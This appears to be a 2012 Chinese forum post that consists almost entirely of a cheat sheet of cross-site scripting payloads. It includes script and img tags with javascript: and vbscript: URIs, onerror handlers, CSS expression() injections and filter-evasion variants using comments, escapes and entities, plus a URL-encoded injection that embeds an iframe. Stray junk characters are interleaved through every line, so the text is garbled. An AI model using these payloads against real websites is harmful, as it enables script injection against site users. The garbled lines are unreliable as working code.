<script>alert("跨站")</script> (最常用）& e* [& A: ^) y% V0 R# K
<img scr=javascript:alert("跨站")></img>: X0 f, M% {# e1 |" S
<img scr="javascript: alert(/跨站/)></img>4 _- C2 \5 y" a4 t
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
% l4 e: y0 i1 @' y<img scr="#" onerror=alert(/跨站/)></img>/ s( x( Y2 w" |- d1 j9 h. g
<img scr="#" style="xss:expression(alert(/xss/));"></img>( ]+ A9 P. T: T
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
# k! N U7 z8 }& F" X8 v<img src=vbscript:msgbox ("xss")></img>1 s4 }& z$ w( O! P, p# W7 T4 N) ~
<style> input {left:expression (alert('xss'))}</style>
6 [" x+ z, V) _7 b<div style={left:expression (alert('xss'))}></div>. C; m9 m9 G6 U+ |3 t! [/ z, X% U
<div style={left:exp/* */ression (alert('xss'))}></div>
6 S8 k6 T! o# S4 |+ a! b: B6 w<div style={left:\0065\0078ression (alert('xss'))}></div>
2 D& q% p- g2 s0 D v( I4 ~7 K3 Nhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>! s" `9 a' n$ t
unicode <div style="{left:expRessioN (alert('xss'))}">, I1 t ?6 G) T2 u5 L {
( {. k5 q% H) Y+ t, W, g3 k
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
2 ^' L8 s, f0 h; @% |& W0 I; D2 t |
发表于 2012-9-13 17:15:04
收藏
支持
反对